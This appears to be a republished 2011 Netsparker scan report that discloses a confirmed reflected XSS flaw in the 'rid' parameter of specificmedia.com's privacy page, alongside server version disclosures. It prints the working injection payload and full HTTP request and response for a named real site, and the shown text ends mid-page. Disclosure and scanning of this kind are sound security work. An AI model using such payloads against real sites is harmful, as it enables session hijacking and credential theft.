XSS, Cross Site Scripting in www.specificmedia.com, CWE-79, CAPEC-86, DORK, GHDB REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Private Reporting of Security Research is preferred for Online Service Providers



Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.specificmedia.com/privacy?rid=4dfb...
SCAN DATE
6/17/2011 4:13:13 PM
REPORT DATE
6/18/2011 7:30:23 AM
SCAN DURATION
00:00:27

Total Requests

Average Speed

req/sec.
4
identified
1
confirmed
0
critical
1
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
25 %
LOW
50 %
INFORMATION
25 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/privacy rid GET Cross-site Scripting Yes
Apache Version Disclosure No
PHP Version Disclosure No
E-mail Address Disclosure No
Cross-site Scripting

Cross-site Scripting

1 TOTAL
IMPORTANT
CONFIRMED
1
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /privacy

/privacy CONFIRMED

http://www.specificmedia.com/privacy?rid=4dfbc34bb1d15%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3C..

Parameters

Parameter Type Value
rid GET 4dfbc34bb1d15'"--></style></script><script>alert(0x000016)</script>

Request

GET /privacy?rid=4dfbc34bb1d15%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x000016)%3C%2Fscript%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.specificmedia.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 21:13:30 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8163
Connection: close
Content-Type: text/html; charset=ISO-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <title>Privacy Policy - Specific Media</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" ><link href="/assets/favicon.ico" rel="icon" ><link href="/styles/layout.master.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/layout.sprite.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery.themes/ui-custom-current/jquery-ui-1.8.10.custom.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-ui.selectmenu.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-simplemodal.css" media="screen" rel="stylesheet" type="text/css" ><script type="text/javascript" src="http://code.jquery.com/jquery-1.5.1.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.timeago.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.simplemodal.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.form.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.validate.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui-1.8.9.custom.min.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui.selectmenu.js"></script><script type="text/javascript" src="/scripts/fonts/cufon.js"></script><script type="text/javascript" src="/scripts/fonts/interstate.font.js"></script><script type="text/javascript" src="/scripts/fonts/interstate-condensed.font.js"></script><script type="text/javascript" src="/scripts/application.js"></script><style> #heading { margin-bottom:0px; }</style><!--[if IE 7]> <style> #page_header { position:static; } </style><![endif]--></head><body> <div class="page_container"> <div id="global_header"> <script> $(function() { //remove the login menu on body click $('body').bind('click', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //stop propagation when the login menu is clicked $('#topnavigation .login_nav_item').bind('click', function(event) { event.stopPropagation(); }); //remove the login menu on nav item hover $('#topnavigation ul.navigation li a').bind('mouseover', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //show login menu $('#topnavigation .login_nav_item').attr('onClick', 'return false;').parent().bind('mouseover', function() { $(this).find('a:first').addClass('login_nav_item_hover'); $('#login_panel').addClass('ui-selectmenu-open'); }); //hover effect on login menu items $('#login_panel li').bind('mouseover', function() { $(this).addClass('ui-selectmenu-item-focus').addClass('ui-state-hover'); }).bind('mouseout', function() { $(this).removeClass('ui-selectmenu-item-focus').removeClass('ui-state-hover'); }); //united states should always be selected $('#i18n_menu_options').val('http://www.specificmedia.com/'); $('#i18n_menu_options').selectmenu({ width:140, change: function(e) { window.location = e.target.value; } }); });</script><!--[if IE 9]> <style>#login_panel { right:67px; }</style><![endif]--><div id="sm_logo"> <a href="/"><img src="/images/sm-logo.png" alt="Specific Media" /></a></div><div id="i18n"> <div id="i18n_menu"> <select id="i18n_menu_options"> <option value="http://www.specificmedia.com/" selected="selected">United States</option> <option value="http://www.specificmedia.co.uk/">United Kingdom</option> <option value="http://www.specificmedia.fr/">France</option> <option value="http://www.specificmedia.de/">Germany</option> <option value="http://www.specificmedia.dk/">Denmark</option> <option value="http://www.specificmedia.no/">Norway</option> <option value="http://www.specificmedia.se/">Sweden</option> <option value="http://www.specificmedia.nl/">Netherlands</option> </select> </div> <span id="i18n_atlas" class="atlas"></span></div><div class="clear"></div><div id="topnavigation"> <ul class="navigation"> <li> <a class="top_level_nav_item" href="/advertising">Advertising</a> </li> <li> <a class="top_level_nav_item" href="/original-programming">Original Programming</a> </li> <li> <a class="top_level_nav_item" href="/insights">Insights</a> </li> <li> <a class="top_level_nav_item" href="/news">News + Events</a> </li> <li> <a class="top_level_nav_item" href="/about">About Us</a> </li> <li> <a class="login_nav_item" href="/login">Login</a> </li></ul></div><ul id="login_panel" class="ui-selectmenu-menu ui-widget ui-widget-content ui-selectmenu-menu-dropdown ui-corner-bottom"> <li><a href="http://reporting.specificmedia.com/">Premium Network</a></li> <li><a href="http://leads.specificmedia.com/">Performance Network</a></li></ul> </div> </div> <div id="page_header"> <div id="banner"> <h1>Privacy Policy</h1> </div> <div class="page_container"> <div id="subnavigation"> </div> <div id="blocks"></div> </div> </div> <div class="page_container"> <div id="main"> <div id="heading"> <div id="breadcrumbs" class="standard_panel"> </div> </div> <div id="content"> <div class="fullpage_panel"> <style> ul.privacy_list { list-style-type:disc; margin-left:40px; } p#optout { text-align:center; } h5 { font-style:italic; }</style><script> var rand_id = '4dfbc34bb1d15\0\'\"--></style></script><script>netsparker(0x000016)</script>'; var remote_ip = '173.193.214.243'; $(function() { $('#buttonmap').bind('click', function() { $.ajax({ type: "GET", dataType: "text", url: '/main/index/optout', data: { type: 'optout', rid: rand_id, rip: remote_ip }, success: function(data) { $('#optout').empty().html('<img src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1&optout=1" />'); _gaq.push(['_trackEvent', 'Privacy', 'Opt Out']); }, error: function(){ } }); }); });</script><h1>Our commitment to protecting people’s privacy online is as serious as our dedication to providing the most relevant advertising.</h1><p>Specific Media takes the issue of user privacy on the internet very seriously and the following is intended to be a plain English explanation of the approach we currently employ. We always welcome comments on our privacy policy and constantly strive to maintain a privacy policy which improves the service we provide to advertisers, publishers and web users in general.</p><h2>What We Do</h2><p>Specific Media is an online advertising network. We work with hundreds of websites in the US, UK, France, Germany, Denmark, Sweden, Norway, and the Netherlands buying display (image) advertising space and re-selling it in carefully targeted packages to advertisers and agencies. The targeting options we offer range from simple geographic locations, to more complicated targeting involving user’s interests. As we target, we identify the sites and groups of users that are most likely to create a response to an advertiser's campaign.</p><h2>What Data We Collect</h2><h5>Cookie and Pixel Information</h5><p>Cookies and pixels provide us with the ability to create an ID in order for us to match collected data to an anonymous machine including: </p><ul class="privacy_list"> <li><p>The URLs (or website address) of web pages which have been viewed</p></li> <li><p>The date and time of visit to a web page</p></li> <li><p>Whether the user has clicked on an ad of one of our Advertisers, visited their website, or undertaken a transaction with them</p></li></ul><h5>Session Information</h5><p>This information relates to user, campaign and interest-based history and is used for frequency capping and interest targeting. This information is gathered from websites visited and clicks registered by the user’s machine.</p><h5>Request-based Information</h5><p>This information is passed to us by the user’s computer browser with every request and is stored entirely anonymously for statistical purposes only: </p><ul class="privacy_list"> <li><p>IP (Internet Protocol) addresses - Every device connected to the Internet has an IP address. This cannot be traced to an individual user but can be used for geographic targeting and statistical measurements</p></li> <li><p>Browser type - e.g. Are you using Microsoft Explorer or Apple’s Safari</p></li> <li><p>Computer Operating System - e.g. Are you using Windows Vista or Apple OS</p></li></ul><p>We may purchase anonymous data from third-party sources. This data is anonymous and is used to update existing user profiles. We do not share, rent or sell any of the data acquired from third party sources.</p><h2>Personally Identifiable Information (PII)</h2><p>We do not collect any personally identifiable information. The IAB (Internet Advertising Bureau), which is a trade association for the internet marketing industry, defines personally identifiable information as 'information that can be traced back to a specific user and provide personal information such as name, address, phone number, etc.' In other words, it's information about you that can identify you as a person rather than an anonymous profile.</p><p>All of our profiles are anonymous, and relate to a computer rather than a user. For us, they are nothing more than a number with which we associate interests and/or an estimated or inferred demographic profile.</p><h2>Cookies and Pixels</h2><p>Cookies are small text files that are stored within a folder on your computer and are used only by your Internet browser. They are not programs or applications – they are merely a marker of our previous contact with you. They take up a tiny amount of space on your computer (less than a regular webpage without images does) and can be used to uniquely, but anonymously, identify your computer.</p><p>Most websites use cookies to identify users and improve the user experience.</p><p>The Specific Media cookie does not harm your computer in any way or provide us with any information about your identity. The Specific Media cookie is not spyware or adware.</p><p>The general definition of spyware/adware is that of a software package installed on your computer for purposes of monitoring all your internet or general computer activity. We do not install software of any kind on your computer and have no ability to monitor or track your general computer or overall internet usage. Cookies can be easily avoided by opting out from them, or adjusting your browser settings.</p><p>Pixels are small text files used to track website visitation and actions taken by users on these websites. The information collected from the pixel is stored in the cookie.</p><h2>How We Use This Data</h2><p>Specific Media uses the information collected to target advertising campaigns more effectively. The aim is for you to see ads which you are more likely to be interested in, rather than ads that you aren't. We do this by comparing the information relating to the machine’s anonymous profile, against our selection of ad campaigns and choosing the most suitable advertisement. It's important to understand that Specific Media can only create these profiles and display ads to you when you visit a website that we have a relationship with.</p><p>Most websites you visit will not charge you, but are funded by the ads that you view. The more effective the advertising on a site, the more money it can generate from fewer ads – reducing the clutter and invasiveness of the advertising on their websites. Identifying anonymous profiles allows Specific Media to offer an improved online experience for you, increased performance to our advertisers and enhanced revenues for our websites.</p><p>We do not sell, rent or share any of the anonymous data to third-parties.</p><h2>Data Retention</h2><p>Specific Media maintains all server log data (see ‘What data we collect’) and data stored in the cookie for a period of 12 months to comply with audits, court order or law enforcement inquiries. After 12 months all of the stored data is destroyed. Summarized data is kept indefinitely. Summarized data is aggregated statistical data (impressions and clicks) used for financial reporting purposes.</p><h2>Action Attribution</h2><p>To gain a greater understanding of a site's performance, or a user's general interests, we use a variety of technologies to determine which websites in our network the user visited previously and/or where the user clicked on an advertisement. Using this information, we can calculate which websites and/or which broad interest characteristic of a user is likely to best respond to a particular campaign. This takes two forms:</p><ul class="privacy_list"> <li> <h2>Performance Attribution</h2> <p>We monitor the sales, signups or visits to certain predetermined pages on our advertisers' websites. We reconcile these page 'hits' back to the ads that were shown to allow us to manage advertising campaign delivery, and report on this to our advertisers and publishers. We use cookies to limit the number of ads any individual computer is exposed to.</p> </li> <li> <h2>User Interest Profiling</h2> <p>To create a user interest profile, we observe which websites within our network users have interacted, and we determine what topics those websites are about. This information is combined to generate an anonymous interest profile for specific computers.</p> <p>Depending on the content of the sites users visit, we build an anonymous profile which contains information on potential interests and a statistical estimate of their likely demographic. For example, if a user visits a sports site within our network then we may classify them as broadly interested in that sport. All data that we use is stored anonymously.</p> </li></ul><h2>Opting Out</h2><p>Specific Media is a member of NAI, the <a href="http://www.networkadvertising.org/">Network Advertising Initiative</a>, a coalition of online advertising networks that provides an opportunity for consumers to opt-out of targeted advertising by member companies.</p><p>If you prefer not to have online advertising tailored to a user interest profile, you may opt out at any time by one of the following methods:</p><ul> <li><p>Opt out of targeting from all NAI member networks by visiting the Network Advertising Initiative at <a href="http://www.networkadvertising.org/managing/opt_out.asp">networkadvertising.org/managing/opt_out.asp</a>. This uses a cookie that blocks the use of any kind of targeting methodology. Once the opt out cookie is placed in the user profile all tracking and targeting methodologies are rendered inoperative. We absolutely do not utilize cookies, pixels or any other method of tracking or targeting when the opt out cookie is present in a user profile. Please note that as with any cookie, if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p></li> <li> <p>Opt out of Specific Media’s user interest targeting cookie by clicking the button below. Please note that if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p> <p id="optout"> <img id="optout-status" src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1" usemap="#buttonmap" alt="optout" width="399" height="114" /> <map id="buttonmap" name="buttonmap"><area shape="rect" coords="137, 33, 261, 74" style="cursor:pointer;" /></map> </p> </li> <li><p>Disable cookies in your browser (typically under Tools-Options-Privacy, but this varies between browser types and versions). Please note that cookies are used for a variety of reasons, not just targeting advertising, so this may adversely impact your online experience.</p></li></ul><p>It should also be noted that opting out does not mean you will not see advertisements online, but these advertisements will not be targeted based on your online user interest profile from us as an individual vendor.</p><h2>Security</h2><p>If you provide us with your contact or business information in order to conduct business with us as an advertiser or publisher, Specific Media uses commercially reasonable physical, managerial, and technical safeguards to preserve the integrity and security of your information. We cannot, however, ensure or warrant the security of any information you transmit to Specific Media and you do so at your own risk.</p><p>Specific Media takes appropriate security measures to protect against unauthorized access to or unauthorized alteration, disclosure or destruction of data. These include internal reviews of our ..
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /privacy

/privacy

http://www.specificmedia.com/privacy?rid=4dfbc34bb1d15

Extracted Version

2.2.3 (CentOS)

Request

GET /privacy?rid=4dfbc34bb1d15 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.specificmedia.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 21:13:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8127
Connection: close
Content-Type: text/html; charset=ISO-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <title>Privacy Policy - Specific Media</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" ><link href="/assets/favicon.ico" rel="icon" ><link href="/styles/layout.master.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/layout.sprite.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery.themes/ui-custom-current/jquery-ui-1.8.10.custom.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-ui.selectmenu.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-simplemodal.css" media="screen" rel="stylesheet" type="text/css" ><script type="text/javascript" src="http://code.jquery.com/jquery-1.5.1.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.timeago.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.simplemodal.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.form.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.validate.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui-1.8.9.custom.min.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui.selectmenu.js"></script><script type="text/javascript" src="/scripts/fonts/cufon.js"></script><script type="text/javascript" src="/scripts/fonts/interstate.font.js"></script><script type="text/javascript" src="/scripts/fonts/interstate-condensed.font.js"></script><script type="text/javascript" src="/scripts/application.js"></script><style> #heading { margin-bottom:0px; }</style><!--[if IE 7]> <style> #page_header { position:static; } </style><![endif]--></head><body> <div class="page_container"> <div id="global_header"> <script> $(function() { //remove the login menu on body click $('body').bind('click', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //stop propagation when the login menu is clicked $('#topnavigation .login_nav_item').bind('click', function(event) { event.stopPropagation(); }); //remove the login menu on nav item hover $('#topnavigation ul.navigation li a').bind('mouseover', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //show login menu $('#topnavigation .login_nav_item').attr('onClick', 'return false;').parent().bind('mouseover', function() { $(this).find('a:first').addClass('login_nav_item_hover'); $('#login_panel').addClass('ui-selectmenu-open'); }); //hover effect on login menu items $('#login_panel li').bind('mouseover', function() { $(this).addClass('ui-selectmenu-item-focus').addClass('ui-state-hover'); }).bind('mouseout', function() { $(this).removeClass('ui-selectmenu-item-focus').removeClass('ui-state-hover'); }); //united states should always be selected $('#i18n_menu_options').val('http://www.specificmedia.com/'); $('#i18n_menu_options').selectmenu({ width:140, change: function(e) { window.location = e.target.value; } }); });</script><!--[if IE 9]> <style>#login_panel { right:67px; }</style><![endif]--><div id="sm_logo"> <a href="/"><img src="/images/sm-logo.png" alt="Specific Media" /></a></div><div id="i18n"> <div id="i18n_menu"> <select id="i18n_menu_options"> <option value="http://www.specificmedia.com/" selected="selected">United States</option> <option value="http://www.specificmedia.co.uk/">United Kingdom</option> <option value="http://www.specificmedia.fr/">France</option> <option value="http://www.specificmedia.de/">Germany</option> <option value="http://www.specificmedia.dk/">Denmark</option> <option value="http://www.specificmedia.no/">Norway</option> <option value="http://www.specificmedia.se/">Sweden</option> <option value="http://www.specificmedia.nl/">Netherlands</option> </select> </div> <span id="i18n_atlas" class="atlas"></span></div><div class="clear"></div><div id="topnavigation"> <ul class="navigation"> <li> <a class="top_level_nav_item" href="/advertising">Advertising</a> </li> <li> <a class="top_level_nav_item" href="/original-programming">Original Programming</a> </li> <li> <a class="top_level_nav_item" href="/insights">Insights</a> </li> <li> <a class="top_level_nav_item" href="/news">News + Events</a> </li> <li> <a class="top_level_nav_item" href="/about">About Us</a> </li> <li> <a class="login_nav_item" href="/login">Login</a> </li></ul></div><ul id="login_panel" class="ui-selectmenu-menu ui-widget ui-widget-content ui-selectmenu-menu-dropdown ui-corner-bottom"> <li><a href="http://reporting.specificmedia.com/">Premium Network</a></li> <li><a href="http://leads.specificmedia.com/">Performance Network</a></li></ul> </div> </div> <div id="page_header"> <div id="banner"> <h1>Privacy Policy</h1> </div> <div class="page_container"> <div id="subnavigation"> </div> <div id="blocks"></div> </div> </div> <div class="page_container"> <div id="main"> <div id="heading"> <div id="breadcrumbs" class="standard_panel"> </div> </div> <div id="content"> <div class="fullpage_panel"> <style> ul.privacy_list { list-style-type:disc; margin-left:40px; } p#optout { text-align:center; } h5 { font-style:italic; }</style><script> var rand_id = '4dfbc34bb1d15'; var remote_ip = '173.193.214.243'; $(function() { $('#buttonmap').bind('click', function() { $.ajax({ type: "GET", dataType: "text", url: '/main/index/optout', data: { type: 'optout', rid: rand_id, rip: remote_ip }, success: function(data) { $('#optout').empty().html('<img src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1&optout=1" />'); _gaq.push(['_trackEvent', 'Privacy', 'Opt Out']); }, error: function(){ } }); }); });</script><h1>Our commitment to protecting people’s privacy online is as serious as our dedication to providing the most relevant advertising.</h1><p>Specific Media takes the issue of user privacy on the internet very seriously and the following is intended to be a plain English explanation of the approach we currently employ. We always welcome comments on our privacy policy and constantly strive to maintain a privacy policy which improves the service we provide to advertisers, publishers and web users in general.</p><h2>What We Do</h2><p>Specific Media is an online advertising network. We work with hundreds of websites in the US, UK, France, Germany, Denmark, Sweden, Norway, and the Netherlands buying display (image) advertising space and re-selling it in carefully targeted packages to advertisers and agencies. The targeting options we offer range from simple geographic locations, to more complicated targeting involving user’s interests. As we target, we identify the sites and groups of users that are most likely to create a response to an advertiser's campaign.</p><h2>What Data We Collect</h2><h5>Cookie and Pixel Information</h5><p>Cookies and pixels provide us with the ability to create an ID in order for us to match collected data to an anonymous machine including: </p><ul class="privacy_list"> <li><p>The URLs (or website address) of web pages which have been viewed</p></li> <li><p>The date and time of visit to a web page</p></li> <li><p>Whether the user has clicked on an ad of one of our Advertisers, visited their website, or undertaken a transaction with them</p></li></ul><h5>Session Information</h5><p>This information relates to user, campaign and interest-based history and is used for frequency capping and interest targeting. This information is gathered from websites visited and clicks registered by the user’s machine.</p><h5>Request-based Information</h5><p>This information is passed to us by the user’s computer browser with every request and is stored entirely anonymously for statistical purposes only: </p><ul class="privacy_list"> <li><p>IP (Internet Protocol) addresses - Every device connected to the Internet has an IP address. This cannot be traced to an individual user but can be used for geographic targeting and statistical measurements</p></li> <li><p>Browser type - e.g. Are you using Microsoft Explorer or Apple’s Safari</p></li> <li><p>Computer Operating System - e.g. Are you using Windows Vista or Apple OS</p></li></ul><p>We may purchase anonymous data from third-party sources. This data is anonymous and is used to update existing user profiles. We do not share, rent or sell any of the data acquired from third party sources.</p><h2>Personally Identifiable Information (PII)</h2><p>We do not collect any personally identifiable information. The IAB (Internet Advertising Bureau), which is a trade association for the internet marketing industry, defines personally identifiable information as 'information that can be traced back to a specific user and provide personal information such as name, address, phone number, etc.' In other words, it's information about you that can identify you as a person rather than an anonymous profile.</p><p>All of our profiles are anonymous, and relate to a computer rather than a user. For us, they are nothing more than a number with which we associate interests and/or an estimated or inferred demographic profile.</p><h2>Cookies and Pixels</h2><p>Cookies are small text files that are stored within a folder on your computer and are used only by your Internet browser. They are not programs or applications – they are merely a marker of our previous contact with you. They take up a tiny amount of space on your computer (less than a regular webpage without images does) and can be used to uniquely, but anonymously, identify your computer.</p><p>Most websites use cookies to identify users and improve the user experience.</p><p>The Specific Media cookie does not harm your computer in any way or provide us with any information about your identity. The Specific Media cookie is not spyware or adware.</p><p>The general definition of spyware/adware is that of a software package installed on your computer for purposes of monitoring all your internet or general computer activity. We do not install software of any kind on your computer and have no ability to monitor or track your general computer or overall internet usage. Cookies can be easily avoided by opting out from them, or adjusting your browser settings.</p><p>Pixels are small text files used to track website visitation and actions taken by users on these websites. The information collected from the pixel is stored in the cookie.</p><h2>How We Use This Data</h2><p>Specific Media uses the information collected to target advertising campaigns more effectively. The aim is for you to see ads which you are more likely to be interested in, rather than ads that you aren't. We do this by comparing the information relating to the machine’s anonymous profile, against our selection of ad campaigns and choosing the most suitable advertisement. It's important to understand that Specific Media can only create these profiles and display ads to you when you visit a website that we have a relationship with.</p><p>Most websites you visit will not charge you, but are funded by the ads that you view. The more effective the advertising on a site, the more money it can generate from fewer ads – reducing the clutter and invasiveness of the advertising on their websites. Identifying anonymous profiles allows Specific Media to offer an improved online experience for you, increased performance to our advertisers and enhanced revenues for our websites.</p><p>We do not sell, rent or share any of the anonymous data to third-parties.</p><h2>Data Retention</h2><p>Specific Media maintains all server log data (see ‘What data we collect’) and data stored in the cookie for a period of 12 months to comply with audits, court order or law enforcement inquiries. After 12 months all of the stored data is destroyed. Summarized data is kept indefinitely. Summarized data is aggregated statistical data (impressions and clicks) used for financial reporting purposes.</p><h2>Action Attribution</h2><p>To gain a greater understanding of a site's performance, or a user's general interests, we use a variety of technologies to determine which websites in our network the user visited previously and/or where the user clicked on an advertisement. Using this information, we can calculate which websites and/or which broad interest characteristic of a user is likely to best respond to a particular campaign. This takes two forms:</p><ul class="privacy_list"> <li> <h2>Performance Attribution</h2> <p>We monitor the sales, signups or visits to certain predetermined pages on our advertisers' websites. We reconcile these page 'hits' back to the ads that were shown to allow us to manage advertising campaign delivery, and report on this to our advertisers and publishers. We use cookies to limit the number of ads any individual computer is exposed to.</p> </li> <li> <h2>User Interest Profiling</h2> <p>To create a user interest profile, we observe which websites within our network users have interacted, and we determine what topics those websites are about. This information is combined to generate an anonymous interest profile for specific computers.</p> <p>Depending on the content of the sites users visit, we build an anonymous profile which contains information on potential interests and a statistical estimate of their likely demographic. For example, if a user visits a sports site within our network then we may classify them as broadly interested in that sport. All data that we use is stored anonymously.</p> </li></ul><h2>Opting Out</h2><p>Specific Media is a member of NAI, the <a href="http://www.networkadvertising.org/">Network Advertising Initiative</a>, a coalition of online advertising networks that provides an opportunity for consumers to opt-out of targeted advertising by member companies.</p><p>If you prefer not to have online advertising tailored to a user interest profile, you may opt out at any time by one of the following methods:</p><ul> <li><p>Opt out of targeting from all NAI member networks by visiting the Network Advertising Initiative at <a href="http://www.networkadvertising.org/managing/opt_out.asp">networkadvertising.org/managing/opt_out.asp</a>. This uses a cookie that blocks the use of any kind of targeting methodology. Once the opt out cookie is placed in the user profile all tracking and targeting methodologies are rendered inoperative. We absolutely do not utilize cookies, pixels or any other method of tracking or targeting when the opt out cookie is present in a user profile. Please note that as with any cookie, if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p></li> <li> <p>Opt out of Specific Media’s user interest targeting cookie by clicking the button below. Please note that if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p> <p id="optout"> <img id="optout-status" src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1" usemap="#buttonmap" alt="optout" width="399" height="114" /> <map id="buttonmap" name="buttonmap"><area shape="rect" coords="137, 33, 261, 74" style="cursor:pointer;" /></map> </p> </li> <li><p>Disable cookies in your browser (typically under Tools-Options-Privacy, but this varies between browser types and versions). Please note that cookies are used for a variety of reasons, not just targeting advertising, so this may adversely impact your online experience.</p></li></ul><p>It should also be noted that opting out does not mean you will not see advertisements online, but these advertisements will not be targeted based on your online user interest profile from us as an individual vendor.</p><h2>Security</h2><p>If you provide us with your contact or business information in order to conduct business with us as an advertiser or publisher, Specific Media uses commercially reasonable physical, managerial, and technical safeguards to preserve the integrity and security of your information. We cannot, however, ensure or warrant the security of any information you transmit to Specific Media and you do so at your own risk.</p><p>Specific Media takes appropriate security measures to protect against unauthorized access to or unauthorized alteration, disclosure or destruction of data. These include internal reviews of our data collection, storage and processing practices and security measures, as well as physical se..
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /privacy

/privacy

http://www.specificmedia.com/privacy?rid=4dfbc34bb1d15

Extracted Version

PHP/5.2.6

Request

GET /privacy?rid=4dfbc34bb1d15 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.specificmedia.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 21:13:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8127
Connection: close
Content-Type: text/html; charset=ISO-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <title>Privacy Policy - Specific Media</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" ><link href="/assets/favicon.ico" rel="icon" ><link href="/styles/layout.master.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/layout.sprite.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery.themes/ui-custom-current/jquery-ui-1.8.10.custom.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-ui.selectmenu.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-simplemodal.css" media="screen" rel="stylesheet" type="text/css" ><script type="text/javascript" src="http://code.jquery.com/jquery-1.5.1.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.timeago.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.simplemodal.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.form.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.validate.js"></script><script type="text/javascript" 